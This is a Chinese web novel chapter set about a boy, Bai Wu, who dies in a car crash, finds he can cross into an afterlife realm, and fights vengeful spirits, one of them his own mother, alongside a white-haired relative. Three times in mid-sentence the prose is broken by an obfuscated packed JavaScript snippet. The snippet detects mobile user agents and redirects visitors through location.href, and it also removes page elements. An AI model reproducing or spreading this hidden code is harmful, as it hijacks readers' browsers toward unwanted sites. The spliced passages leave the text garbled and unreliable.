《亡灵店雨夜打工实录》 1. 白雾死了 “滴——滴——!!!” 尖锐的鸣笛。 “砰!” 清晨,野了一通宵的车主眼皮还粘着,不过一晃神,车头剧烈一震,好像撞上了什么东西。他瞬间清醒过来,握紧方向盘急刹住车,惊魂未定朝右看。 学校路口,减速慢行。 微微的晨光下告示牌晃得刺眼。 又看了看时间,早晨六点三十。 车主颤抖的瞳孔缓慢移向远处,马路上躺着一个穿着校服的人影,趴着的,小腿折了,没有动静。 完了。车主像被铁锤重重一击,只剩下这一个念头。 他赶忙从腿上抓起手机,戳了几个号码,拨过去。 …… “呃……咳咳……” 地上的手指无意识缩紧,少年细眉蹙紧,缓缓睁开眼来。喉咙里的血腥味又腥又涩,让他有点想吐,咳了两嘴,能感受到温热的液体被咳了出来。 眼前的车灯闪得他睁不开眼,身上的剧痛无法忽视,浑身像是散了架。 好赖也是有点感觉了,要是就这么晕过去可赶不上早自习了。少年只是这么想。 天上淅淅沥沥下起了小雨,他强撑着爬了起来,看了眼自己的位置,离斑马线数米远。 被撞飞了。身上好像在掉零件,松松垮垮的,一呼一吸间肺部的钝痛几乎发散全身,头也昏沉得要命,变得完全无法思考。 几分钟过后,身上的痛感开始减退。他站在原地缓了缓,确认自己可以行动,而后拎起沉重的书包,拖着步子越过肇事车辆慢慢走回了斑马线上。 校门就在对面。 踏进校门的那一刻,打铃了。清脆的上课铃在空无一人的校园里回荡,温柔的女声如流水从广播中淌出:“上课时间到了,请同学们回到教室,准备上课。” 少年皱了皱眉。 还是迟到了。 他苦着脸,慢慢走向教学楼。这里安静得过分,除了上课铃好像再没听到任何动静,风声,早读声,教导主任的训话声,全都消失了。 只有骨裂的声音沿着躯体传进脑海。 好奇怪。 只是纳闷。 少年走到教学楼下,终于捕捉到了一点声音,他稍稍加快了步子,循声爬上了二楼。 走出楼梯间,只见教室走廊一侧的窗台上正坐着两名学生,一男一女,男孩把手放在膝盖上,弓着背,女孩悠闲晃荡着腿,侧着头。他们的校服款式还是旧款,此时二人正在轻松地聊天。 女孩见着了楼梯口的少年,先是一愣:“你好……是你?” 少年喉咙发疼,沙哑着开口:“你们是谁?学校里的人呢?” 男孩看了看少年又看了看女孩:“新来的?你认识?” 女孩:“就十七班那个白雾啊,大名鼎鼎的精神病。” 男孩停顿一番,拖长了声音:“哦——我想起来了,传说能看见鬼那个,连老师都想把他弄进精神病院……嘶,他不会真能看见吧。”男孩怯怯望向白雾,“喂,你是死的活的?” 白雾:“……我不知道。” 女孩:“什么叫你不知道?这里可不是活人能来的地方。” 白雾看着女孩的眼睛,女孩被他盯得后背发毛心里不适,正准备指责两句的时候,她听见对方说:“我好像也见过你。” 女孩:? 此时,白雾脑海中闪过了一些记忆碎片。那是去年高二,秋高气爽的日子,大家正在教室里上课,他听得昏昏欲睡,突然一道影子从窗外坠落,随之而来的是一声闷响,以及周围人发出的尖叫。 他就坐在窗边,探出头一看,一个女孩正仰面躺在绿化里,四肢扭曲在枝叶中,眼睛望着天空,如废弃的木偶一眨又一眨。 正是这双眼睛。 女孩反应过来,摸了摸鼻子,佯装轻松道:“你见过我也不奇怪,毕竟我可是轰动全校的大人物。” 接话者的沉默显得环境更加死寂。 白雾岔开话题:“这里是死后的世界?” “呆子啊,怎么现在才看出来。”男孩从窗台上跳了下来。 女孩紧跟其后落地,身体仍然懒洋洋靠在白墙上:“你可以将世界看作一个池塘,活人生活的地方叫池面,死后灵魂就会坠入池底,也就是这里。有的人待一两天就走了,有的人走不掉,就要等人来送,比如我俩。” 男孩补充道:“我们的日子就是今天,你来的刚好,等下可以一起走……你是死了对吧。” 白雾晃了晃脑袋,坚持说:“我不知道。” 男孩:“……你确实不太正常。” 女孩:“哎,你不是说自己能看见鬼吗,那你之前都看见过什么啊,说来……” 话音未落,只听“哧啦”一声响。 白雾看见两道刺眼的红光从远处划了过来,像烧红的烙铁,直直穿过面前两人的脑袋钉进白墙。红焰渐弱,那是两把红到发黑的长木刀,刀身裹着未消的火焰。 女孩的脑袋被洞穿,身体开始了消散,而她像是浑然不觉,还在说着未说完的话:“听……听……” 两件校服飘然校服坠地,白雾拧眉转向木刀射来的方向。 起风了。风裹着细雨吹散了他的头发,微长的发丝被带起,胡乱飘扬在空中。 一道修长的身影落在了走廊上,木刀乖乖回到来人手中,白玉般的指尖轻轻捏住刀刃,手腕一甩,灵巧转了个圈,稳稳握住刀把。抬眼。 “嗯?怎么还漏了一个。” 风停了,男人收起刀,拢了拢垂下来的白发,正饶有兴味地看着白雾。 白雾:“她还有话没说完,你就把她杀了。” 男子愣了愣,随后笑了两声:“哈哈。” 白雾:“……” 男子听出这人不是很清醒:“小朋友,你觉得我是在杀人?” 白雾看了看地上的两摊衣服,又看了看男子,认真道:“嗯。” 男子有些怜悯地解释道:“我是在渡人,送人去往生的。” “可是她话还没说完。” 男子差点抬手敲他脑袋:“笨。干我们这一行就是要出其不意,不然我提着刀还得做做样子再下手?多耽误时间啊。” 白雾没说话,偏过头去。 偏头的瞬间,余光突然被一片红焰占据,只一闪,似乎有什么温暖的东西从脑子里轻轻飘了过去,纯净得像初春的阳光。 他转回头,看见的是男子讶异的表情,以及做出投掷动作还没来得及放下的手。他又看向身后,木刀正钉在墙里。 男子:“你怎么……” 白雾把微微滑落的书包背好,撇了男子一眼:“我要回家了。” 然后抬腿就走。 “喂!”男子想叫住他。 得到的却是一个冷漠的背影,以及一声冷漠的:“我不想跟白毛说话。” 男子:“……” 什么年代了还有发色歧视??? 他看着白雾渐行渐远的背影,突然失笑:“小屁孩。” …… 白雾独自行走在回家的路上,雨还在下,却奇怪的没有淋湿他。回家的路走得像行尸走肉,反应过来他已经站到了家门口。 他从校服兜里掏出家门钥匙,开了门。 家里没开灯,显得阴暗,还有一股潮气。他把书包甩上沙发,压到了一堆卷子,最上面的两张是语文和数学,临近高考,都是往年的真题卷,不过成绩可谓是一个珠穆朗玛一个马里亚纳。 语文:一百三十二分。 数学:五十六分。 白雾瞟了一眼,那些被数学老师劈头盖脸一顿骂的记忆卷土重来,让他有点头痛。 桌上摆了一盘凉掉的饺子,妈妈下的。早上出门的时候他没吃早饭,虽然肚子有些饿可他还是吃不下。他径直回了房间,把拖鞋一踢就钻进了被窝,把全身都裹得严严实实,沉沉睡了过去。 …… “滴滴,滴滴,滴滴。” “伤者名叫白雾,十七岁,是十三中高三十七班的学生。全身多处骨折,脑出血,肺部破裂,目前联系不上家属。” “高三啊,那可惜了,长得这么漂亮的一个男孩子。” “滴——” 一阵安静。 早晨七点十五分,白雾确认死亡。 护士卸下仪器,走过来帮他因抢救而凌乱的衣服小心整理好,又用沾湿的毛巾轻轻擦拭脸颊。病床上的少年长长的眼睫正垂着,面色苍白得像纸,像破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434416|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎不堪的静态艺术品。 护士提起白布,正准备盖上,随意扫了一眼,最后目光落在了小腿上,自言自语:“咦?我记得他腿是折了来着,记错了?” 她一大早忙的团团转,也没多想,顺手帮他把裤腿扯了下来,仔细把白布盖好,再拉紧帘子就奔向了另一侧的床位,那里躺着一位正在哀嚎的病人。 …… 白布之下,尸体的腿突然一蹬。像是做梦踩空了。 白雾猛地睁眼,看到的是一片白茫茫:“……” 上天堂了。 他躺了许久,直到脑子恢复了一点思考能力这才伸手扯掉脸上的白布,消毒水的气味扑面而来,他望着天花板,苦想,试图恢复一点记忆。 还是昏沉,什么也想不起来。 好像上一秒还在上学路上下一秒就躺在了这里,然后傻乎乎的瞪着大眼。中间似乎还做了一个梦,梦里有一个男的朝他丢飞刀。 至于这人的长相以及梦境的其他怎么想都是一片空白,这种记忆空陷了一块的感觉让人很不舒服。 回忆的时间让四肢涌上热流,腿脚慢慢恢复了点感知,他慢些坐起身,眼睛突然瞥到身下,看见刺眼的血红,呆住了。 一个可怕的念头正在疯狂生长。 “我杀人了?!”白雾又惊又恐愣在原地。 又突然意识到了什么,转而看向这张床以及床上的白布。 另一个可怕的念头取而代之。 “我被杀了?!” 呼吸瞬间停滞,而后又变得猛烈起来,贪婪的吸食空气能让他找回一点活人的感觉。 他坐在床沿,一呼一吸间心脏突然一阵抽痛,不得已痛苦缩紧身子,双手紧紧按着胸口滑坐在了地上。自己的书包正歪倒在床脚边,拉链是开着的,透过缝隙,白雾瞄中了里面的现金,微微睁大了双眼。 他一把将沉重的书包扯了过来,用不太灵活的手指在里头翻来翻去。 三十五万。 这下是心脏也不疼了,腿脚也好利索了,见钱眼开心花怒放了。 有了这笔钱,妈妈不用日日早出晚归,足够休息上一段不错的日子,也能多陪陪他了。 白雾难掩心底欢喜,自顾自沉醉之时,却被帘外一男一女的交流声打破了。 “他的亲属还是没联系到吗?” “还没,不过老师和校领导在来的路上了。” “啧,家长如果联系不到,过会要推停尸间去。” “明白了。” “这开车的也真是不看路,估计得把牢子蹲烂咯。不过听说是个少爷,多少钱都赔得起,这不,已经叫人送了一些现金来了,说是剩下的后头再补。” “看亲属的说法吧,换做我,指定送他去坐牢,多少钱都不好使。” 白雾在帘内听得清清楚楚,他不想把这事捅出去,虽然有点搞不清楚状况,不过自己既然安然无恙,不能平白害别人担心。 他突然涌出一股迫切想要回家的冲动,上学没带手机,联系不了任何人,可他总觉得多待一秒都会有很严重的后果,这种感觉让他心跳加速,坐立难安。 他蹲在地上,隔着帘子与地面之间的缝隙观察起了外头的脚步,直到外面的人离开的离开,转身的转身,他才迅速拎起书包,敏捷地从帘子里窜了出去。像个杀手似的一路在各种床位和仪器后方躲躲藏藏,终于杀到了门口。 结果迎面撞上了班主任及教导主任急切的两张大脸。 白雾倒吸一口凉气,心想完了。 谁知二人却像是撞见了一个陌生人似的,只是微微皱了皱眉头。连挂满血迹的校服这样可疑的打扮也没有让二人的目光在他身上做半分停留。 白雾就这么一脸懵逼抱着书包,在二位熟人的让步下走出了门。 临走时回头看了一眼,两人正站在一排排床位的正中摸不着头脑,好像不知道来这里要干嘛似的。 班主任随手扯过一名路过的护士,询问一番,护士也摇了摇头,并用一种“你走错医院了吧”般的表情看着他。 白雾突然明白了什么,转回头,站在原地环顾四方。 这里是急诊大厅,各种各样的人来来往往,行色匆匆,可没有一个人对他投来目光。 2. 白雾怎么又死了 白雾慌了。 迟疑片刻,他故意撞上了一个过路大叔,可对方只是不耐烦的骂了一嘴,便匆匆走向缴费台。这一刻,白雾觉得自己不过是这个世界的过路人,一个可有可无,生死都不会有人在意的影子。 书包总下滑,他朝上兜了兜,将书包抱稳。看着里面成摞的现金,再也掩不住委屈,眼泪夺眶而出。 他将脸埋进书包里,小声唤道:“妈。” 抽噎几声,他又抬起头来,面色如常,强迫自己扯了个笑,开始凭着记忆朝家的方向跑。 城市是个小县城,医院是小县城里最大的医院,就算没有手机,这里的人们也都能轻车熟路。白雾家离这里不算太远,步行也算不上很近,大约要走半个钟头。 路程过半,偏偏天公不作美,下雨了,连带着天也黑了不少。 白雾停下脚步,望着天空,冰冰凉凉的雨点打在脸上,他眨了眨眼:“奇怪,明明最近不下雨的。” 实在水逆。 周围又起了低低的雾,强迫他慢些走在街边,马路上的车灯在雾中朦朦胧胧,他眯了眯眼,就是瞧不太清。 不知不觉间,路上的行人变少了,空落落的。只剩前头打着伞的一名制服女生,迫于安全感他鬼使神差地跟在女生身后。直到街边一点红光穿透薄雾,随着他的靠近渐渐晕开来,他终于看清了那是一间店铺,光亮正是来自店门口挂的两串红灯笼。 女生突然一拐,朝着店铺快步走去。 白雾斟酌一番,最后也朝着店铺走去。 女生收伞进了店,始终没有回头瞧过他一眼。 白雾恰好也站在了店门口,女生进店后,里头传来一句吆喝:“死人一位!” 他顿时刹住了脚步,而里头的人却已经看到了他。 …… 冲他吆喝道:“活死人一位!” 一句话犹如惊雷贯耳,恍惚间,他已经一只脚迈进了店里。女生眨眼间不知所踪,他抱紧书包,无措地站在门口,强压下恐惧打量起了这间店铺。 像是间老式杂货店,陈列什么都有,瞧着物件都有些年代了。其中一面墙上挂满了密密麻麻的手串,颜色红得像在滴血。 “喂!怎么不理人。” 白雾吓得一哆嗦,书包差点脱手。 循声望去,这才和破烂前台后的男人对上了视线。 此人身穿红衬衫,搭配一条宽大的黑色阔腿裤,白发在脑后扎了个小揪揪,显得干练。此时他那两条无处安放的长腿正搭在台面上,看起来吊儿郎当。 有点眼熟,白雾心里警铃大作,他紧张道:“你刚刚说什么?” 男子:“我说,活死人一位。” “你看错人了。”他转身就走,却发现身后的门在不知不觉间已经关上了,透过玻璃,他看到门外挂上了一把防贼的锁。 白雾:“……” 男子看着他紧绷的背脊,低头打量起了自己,疑惑道:“我这么可怕?还好吧。” 白雾无处可逃,只能转回来面向男子:“我不想跟白毛说话。”说完,他自己都觉得这话耳熟。 而男人却笑了起来,用无辜的语调说:“你不也是?” 白雾像被钉在原地。 男子把腿放下,伸手轻轻转了转台上的铜镜,对准白雾。 白雾看见镜子里的自己,浑身湿透,肩膀处被染成了墨黑,一副落汤鸡的模样,狼狈至极。他藏了这么多年的秘密,此刻正毫无遮拦袒露在铜镜中。 杀人灭口这四个字第一次成了他的一个念头。 男子好似能看穿一切,指尖轻点桌面,轻快道:“白发而已,不用自卑。” 白雾凶巴巴:“你是什么人。” “嗯?”男子笑眯眯,“进来的时候没看招牌?这里是泊灵馆,我是坐班的员工。” 白雾瞥见他手上也戴有一串红珠,视线往墙上一扫:“卖手串的?” 男子:“算是吧。不过手串都是给死人戴的,你嘛……也不是不能戴。” 白雾满脸怀疑和抗拒。 男子见好就收,敛了笑意:“算了不逗你了,我找你有事呢。还记得我们在学校的见面吗?” 关于那个梦境,见到这人后也渐渐想起来个八九分。 白雾:“记得。在梦里。” “你说是梦就是梦吧。”男子说,“你今早死于车祸,寻常灵魂早该进入池底世界,可你却能在池底和池面之间来回穿梭。用活人的话来说,你在活人的世界和死人的世界都能自由行动,这就是你为什么死过一次,却还能在活人世界醒来的原因。” 白雾喉咙发紧:“所以这里……” “是死人的世界,池底。” 男子站起身:“泊灵馆是灵魂停歇之地,给一些还不想离开的灵魂提供停留时限的地方,只要戴上红砂串,就不会往生。有的灵魂心存善意的执念,泊灵馆都能如愿。本店童嫂无欺,还是全池连锁哦。” 他走到货架前取下了一件款式老旧的衣服递了过来:“给,换上。” 白雾看着递来的衣服,没动。 “哑巴了?” 白雾开口:“你说有事找我,什么事?” 男子:“因为你是我遇到的第一个把池面和池底当自家客厅随便走的人,我得把你留下叫我们店主来看稀奇嘛。” 白雾将信将疑,又回头看了看门锁:“软禁犯法,我要回家。” “……” 咔哒一声,门锁当即落下。 白雾这才接过衣服,走到角落里换上了。 男子靠在前台边沿,等他出来,顺手拉开门:“请吧。” “不让我留下了?” 男子:“你又跑不掉,迟早会回来的。都说了,泊灵馆可是连锁店。” 这话一出,白雾有种被什么东西缠上的感觉。往出走,又突然听到男子叫住他。 “等会,把这个带上。” 他回过头,见男子递来一把木制的小匕首,匕首上刻有他不认识的黑色纹样,像是铃兰。 “这是什么?” “往生刀。顾名思义你应该懂,池底也是有危险的,放包里就好。” 白雾听话把刀塞进了书包夹层里,点点头出门去,很冷酷的没有告别。 泊灵馆内,靠窗的人台上一身制服翩然飘起,落在男人身边慢慢长出了血肉,苍白纤细的手搭上他的肩膀,女生清脆的声音从耳边传来:“大人干嘛给他往生刀?这小子还不够格吧,指不定随便一只野魂就给他吓尿了。” “他害怕,却不怎么惊讶,身边也许早就有个死人了。” 男子又一笑:“哈哈,我开个玩笑。” …… 白雾离开泊灵馆不久,天放晴了,雾也散了,四周的生机让他放松,看来是回到池面了。他对着街边店铺的玻璃照了照,头发还是黑的,放下心来。 到了自家楼下,他低头看了眼书包,木刀和钱都在,他深吸一口气踏进了单元门。 回到家,家里窗户大开,日光肆意洒落在地板上,显得敞亮。可他却觉得刺眼,走过去把窗户关上了。 窗锁落下的瞬间,又下雨了。雨点噼里啪啦打在玻璃上,分裂成了四五个细小的水珠,白雾不知不觉间看入了神。 “你把什么东西带回来了?” 妈妈的声音。 白雾转过身,见妈妈正站在客厅中央,系着围裙,穿着数年不曾换洗的蓝格子裙,拧眉望着他。 白雾定定瞧着这件裙子,这一刻,他忽然想起了什么,封存的记忆被抹去了陈年的污垢,重新翻了出来。 他木然拉开书包:“钱。三十五万。” 妈妈却丝毫没有在意钱的来处,而是继续逼问道:“还有呢?你书包里还有什么?” “还有一把木刀。” “拿出来。” 白雾听出妈妈的语气不是平日里的严厉,而是真的动怒。他云里雾里的把刀拿了出来,摆在妈妈面前。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434417|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 妈妈刚要碰,却突然注意到了刀身上的纹样,眼神一冷,收回了手:“你碰到什么人了?” 白雾:“……” 妈妈语气怒而上扬:“我千叮万嘱要离和你一样的白发人远一点,万万不可和白家搭上什么关系,你怎么就是不听呢?!” “白家?”白雾从未听说过。 妈妈上前,紧紧掐住他的双臂:“白雾你知不知道你爸爸是怎么死的,都是因为……” 窗外一道闪电劈下,惊雷炸响,将整个房子闪亮了一瞬。白雾看见妈妈脸上的皮肤出现了破裂,裸露出抽动的血肉,他的手臂感受着逐渐变长变尖的指甲,突感一凉,那指甲深深刺进了肉里。 “啊!” 白雾吃痛,当即挣开来朝后一跌,整个人摔在了地上,包里的现金也撒了一地。 眼睁睁看着妈妈逐渐变异扭曲,周身黑屋缭绕,皮肤层层崩裂。她的声音尖啸着,完全不似人形,眨眼间变成了一个怪物。 “都是因为白家吃人,白家吃人啊!” “可是他们说我死了。” 白雾看向自己的亲人,眉眼之间并无波澜,像是随口告知一个消息。 妈妈瞬间僵住:“什么?!” 白雾蹲起身,一点一点捡起地上的钱,叠得整齐:“车祸,这些是肇事者留下的,一共三十五万。” 妈妈愣了愣,褪去了怪物的模样,恢复人形的手捧起了白雾的脸:“你再说一遍,妈没听清。” 白雾没再说话。 他的妈妈叫明天晓,早就死了,他知道。他能看见死后的妈妈,他也知道。这些年明天晓总是早出晚归,时而在,时而不在,白雾只能继续扮演着儿子的角色,向自己撒谎,妈妈只是出门上班,挣钱养家去了。为了逃避这份创伤,渐渐的连自己也信了几分。 也正因如此,学校里的人都将他视作一个精神病。认为他总是幻想着和早已死去的母亲生活,白雾无可辩驳。 就在一切都被精心包装起来的数年后,白雾死了,或许正因为他死了,被埋藏在深处的记忆才会卷土重来。 那份多年前明天晓死于不治之症的记忆。 “没用了,没有必要了。”明天晓绝望般松开了手,似是不愿再理会这个不争气的孩子。白雾垂着头,一点晶莹从脸颊边滑了下来。 “妈。” “……”明天晓背对着他,“说。” “如果我初三那年被撞死了,你是不是就有钱治病了。” “……” 沉默。 白雾见她不答,便继续捡着地上的钱,一张一张,轻轻放好。小小一书包能塞满的现金,就能换他的命。 房间里静默了许久,明天晓哑声开口:“这样的话,以后不准说。” “嗯。” 她转过身看向白雾,内疚与不舍也随着泪花攀上眼眶。她从白雾手中接过那把刀,细细摩挲着刀身:“这种刻有铃兰纹样的刀都叫往生刀,你爸以前,也有一把。” 听她再一次提起素未谋面的爸爸,白雾有些担忧的唤着:“妈?” “下一世,你再叫我妈妈吧。” 话音落下,白雾被狠狠扑倒。 只见明天晓扑到他面前,哧啦一声。又是那种温暖的感觉,全身上下好似有清泉流过,像有一股力量,带着他的灵魂飘向寂静之地。 明天晓将往生刀捅进了白雾的身体里。 “对不起。” “对不起。” “对不起。” 明天晓在流泪。白雾的视线也逐渐模糊了,他明白,妈妈是想送他离开。于是最后,他用尽了力气,抬手拥住明天晓:“我……听你的。” 明天晓抱着白雾渐渐脱力的躯体,哭声愈烈。她将往生刀从白雾胸前拔出,对准自己,疯子一般捅了七八下,像在赎罪,惨叫伴着雷鸣,震耳欲聋。 往生刀啪嗒掉在了地上,铃兰纹散着幽红的光,在这个充满死气的房间里独自闪亮着。 3. 他没死成 屋外忽然刮起了大风,将窗户猛地撞开,玻璃破碎于半空,整个客厅散落的现金全都被卷向空中,飞舞成了个漩涡,天空中黑压压一片,又有惊雷炸响,恰似末日之景。 地上的手轻轻抽动两下,白雾又一次睁开了眼。 他望着天花板,毫无波澜,像一滩死水。不过是昏厥一瞬,又没死成,可他却觉得解脱。 你早该开始新的人生,是我一直牵住了你。 这才是他对妈妈真正想说的。 白雾撑着地面坐起身,抬手随意一捞,抓住了一张百元纸币,感受着纸币真实的触感,他找回了一点灵魂落地的感觉。 “喂,小屁孩。” 突如其来的声音让他指尖一颤,纸币又脱手飞了出去,他抬头看向窗台。 熟悉的白发男子此刻正架着腿坐在窗台上,低垂着眼眸凝视着他,手里拿着那把往生刀呼啦呼啦转。 白雾:“阴魂不散。” 男子打了个响指:“生动形象。” 白雾冷声质问:“你是白家人?” 男子答非所问:“原来你叫白雾。” 白雾阴沉着脸,像一只炸毛的小白猫:“我跟你不是一家人。” 说完,白雾一个箭步冲到窗前,赤手空拳朝着男子的脖颈袭去。这里是八楼,若是能将这人从窗台上推下去,就能给自己争取到想办法回到池面的时间。白雾几乎是用上了自己全部的力气。 可就在接触到对方脖颈的刹那,男子轻声一笑,从窗台消失了。白雾一惊,惯性刹不住,于是整个人朝着窗外翻去。 他半个身子悬在外头,危难时刻,脖子一紧,一股向后的力量勒得他差点断了气,同时自己也被拽进了屋。 白雾仰面摔在地上,男子站在白雾脑袋顶上弯腰侵入他的视线,笑容满面:“不错嘛,挺聪明的,看你数学才打五十六分我以为你是个傻子呢。” 男子不知什么时候抓到了他的数学卷子,正在他眼前晃来晃去。 “啧。”白雾知道自己是逃不过了,索性眼睛一闭,装死不理人。 男子得不到回复,便用脚尖轻轻戳着他的肩膀,嘴里嚷嚷着:“喂,喂!” 白雾沉默。 “那我给你交个底怎么样?”男子蹲了下来,故意露出手腕上的红砂串,“我从白家叛逃了,现在是泊灵馆的人,只给店主卖命。喏,我死了很久了,就是因为叛逃。” “对你我可是一见如故,左右你也走不掉,要不要跟我一起去泊灵馆坐班啊。” 白雾:“……” “你怎么这么冷漠啊。” 白雾闭着眼:“你先告诉我,你让我带上往生刀安的什么心。” 男子:“这个嘛……我的确第一眼就猜到你是白家人。既然你是白家人,又是小孩,那必定是有亲人在身边的,我想你的亲人一定认识刀上的铃兰纹,那就一定会追查给你刀的人是谁。这样,我也能借机弄清你是谁嘛。” 白雾坐起身:“就这么简单?” 男子:“嗯。” 白雾:“所以我是谁?” 男子:“……” "不想说?“白雾继续逼问,“那你又是谁?不会连这个也要装神秘吧,幼稚。” “幼稚?!”男子被呛了个正着,震惊凝视白雾,“你说我幼稚?” 白雾懒洋洋抬眼。 “算了你说什么就是什么吧,小屁孩还指点上我了。”男子深深叹了口气,“我叫白筝,只说这一次,给我记住了啊。” 白雾在嘴里小声重复了一遍,说顺嘴了应道:“哦。” 他突然想到了什么,麻溜坐起身,又问道:“那你认识我妈妈吗?” 白筝:“认识。但也没见过几回面,不太熟。” 白雾想了想:“所以你是在我妈妈离开白家之前认识的,你是我长辈?” "你果然很聪明,不错嘛。”白筝上手摸了摸白雾的脑袋,“多的就别问了,给我留一点秘密吧,拜托了。” 白筝的红砂串在他眼前晃来晃去。白雾瞥了一眼,果然没再往下问下去,而是有些低落地转向另一个话题:“为什么,妈妈会痛苦。” “因为她恶化了。” 白筝解释道:“池底的灵魂也分好几种,有的毫无牵挂一走了之,而有的怨气太重或是某种感情太过强烈就容易恶化,会变成各种各样可怕的东西,俗称怨灵。怨灵会袭击池底正常的灵魂,有时还会越上池面影响正常人的生活,就变成了你们所说的灵异事件。所以斩杀怨灵,送其往生,这就是白家存在的意义和责任。” 白雾眼中有光流转,这是他浑浑噩噩的人生中第一次听到责任一词,尽管现在身死,但却还有一魂尚存于世,他想做点什么,哪怕轻如鸿毛。 更重要的是,他现在好像被卷进了更大的漩涡之中,那个所谓的白家究竟出过什么事,自己来自哪里,原本他应该过什么样的生活。 白雾忽然振作起来:“你不是想带我回店里?那走吧。” 白筝又笑了:“真的?这么轻易就跟我走了?我还准备了好多话术没用上呢。” 白雾率先站起身,偏过头倔强道:“……走吧你。” “慢着,走什么呀你。”白筝还赖在地上,“我说完事了吗你就走。” 白雾蹙眉:“还有什么事?” 白筝:“你妈在哪?” 白雾一听:“什么意思?” 白筝重复:“我说,你妈妈在哪?” 白雾指着地板,一头雾水。白筝也学着他的动作指向同一个地方。 见对方这反应,白雾看了看自己所指的地方,空无一物,没有和那两位同学一样留下衣物。 “低头!” 白筝突然高声提醒,同时将往生刀飞射出去,白雾迅速低了半个头,刀身擦着他头顶飞过,斩断了什么东西。 白雾伸手往头上一摸,摸下来一只不见皮肤只有血肉的断手。 断手在他手心抽动两下,随后五指猛地向后一折,用手背扣住了白雾的手,借力狡猾挣脱,扎进地板上的一团黑泥中消失了。 白雾大脑一片空白,呆愣在原地虚虚握了握右手,感受到手心一股难以言喻的粘腻后浑身刺挠的感觉才从脚底板如电流般窜至全身。 “这是什么东西?!”他的世界观正在崩溃。 抬头,头顶是正倒挂着的妈妈,那一瞬间的脸对脸,冲击感炸开。 此时的明天晓半身完好,半身不见皮肤,一双黑瞳像是沉寂百年的死潭,毫不明亮,毫无生机。袭击失败,她无声朝着天花板上的黑泥缩了回去,和黑泥一起消失了。 “你发什么愣,还不到我身边来等着去死吗?” 这次轮到白筝凶一凶了,白雾赶忙挪了一步。 见白雾这被吓呆的模样,白筝不忍解释道:“你妈妈恶化的时间应该很早,但速度很慢,所以还能保持理智跟你生活。但是刚才她的负面波动太严重,让她在短时间内迅速完成了恶化,变成了一只彻彻底底毫无人性的怨灵,她已经不是你妈妈了。” 白雾胸口一闷,浑身犹如被一块山体巨石压着,喘不过气,压抑得紧:“为什么,为什么偏偏是我,为什么偏偏是我们家。” “振作点,看四周。”白筝偏过头,“你会用刀吗?” 白雾差点结巴:“我不确定能不能用好。” 白筝把往生刀塞回他手里:“用不好也得用。背靠背,打起精神。” 随后,他自己两手一挽,挽出两把细长的木刀,白雾一眼认出是学校初遇时他手里握的那两把。先前没能仔细瞧清,眼下一看刀身上全是密密麻麻的暗红色铃兰纹,看起来张扬又强大。 两人背靠背站定,有白筝在他身边,就算是个刚认识不久的人,就算是不知道辈分多大的亲戚,许是血脉相吸,冥冥之中也让他安下心来。 “切记不要手下留情,只有杀了怨灵才是真正的往生。”白筝边提醒边警惕。 “好。” 白雾凝神,刀尖朝前,此刻他的内心真正平静下来。 客厅死寂,显得窗外的雷雨交加更加聒噪,天气狂躁得像要把每个思绪清明的人吓得疯魔,不断出现的雷声如鼓一般震进人的五脏六腑。白雾屏住呼吸,紧紧盯着目所能及的每个角落。 突然,世界安静了一瞬。 静得只能听见自己得呼吸。 吸气。 呼气。 吸气。 呼气。 眼前骤然漆黑。 面前的窗户刹那间被黑暗吞噬,挡住了窗外的一切。下一秒,一道人影如破墙的电钻,从黑暗中旋出,直冲他面门。白雾迅速将小匕首抬起格挡,木制匕首此刻竟然迸发出了惊人的力量,生生帮他扛住了这一击。 人影未能得逞,慢慢舒展了身子。 和上次袭击的怨灵明天晓不同,这只浑身上下都是裸露的血肉,面目全非,只有体型仍能看出是个女人。 她的十指尖处用胶带绑了锐器,形状像极了弹古筝时用的义甲。白雾恍惚了,记忆里,妈妈从前有过一把很名贵的古筝,只是从未听她演凑过,后来更是为了供他上个好初中卖掉了。 如今才想起来妈妈是会弹古筝的。 “小心!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434418|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>白筝一把推开了发愣的白雾,甩手掷出往生刀,厉声念咒:“火咒壹——戬!” 令下,双刀瞬间燃起烈焰,灵巧如蛇般绕过白雾,交叉刺向怨灵。 怨灵指尖一旋,甲刃狠狠一挡,将往生刀弹开来。 白筝控刀准备再次进攻,却见白雾不知什么时候一个箭步冲到了怨灵身前,将往生刀深深捅进了怨灵的腹部。 “走吧,拜托了。”白雾闭上眼,声音轻得像在叹息。 怨灵僵在原地,好一会,张开的双臂缓缓放了下来,轻轻握住了刺向她的木刀。 她开始消散。 从小腿到头颅,最后消失的是离白雾最近的手。彻底消散的那一刻,她似乎想抓住什么,一双可怖的手轻轻朝着白雾招了一下,似乎穿进了白雾的心脏,小心抚摸了一下。 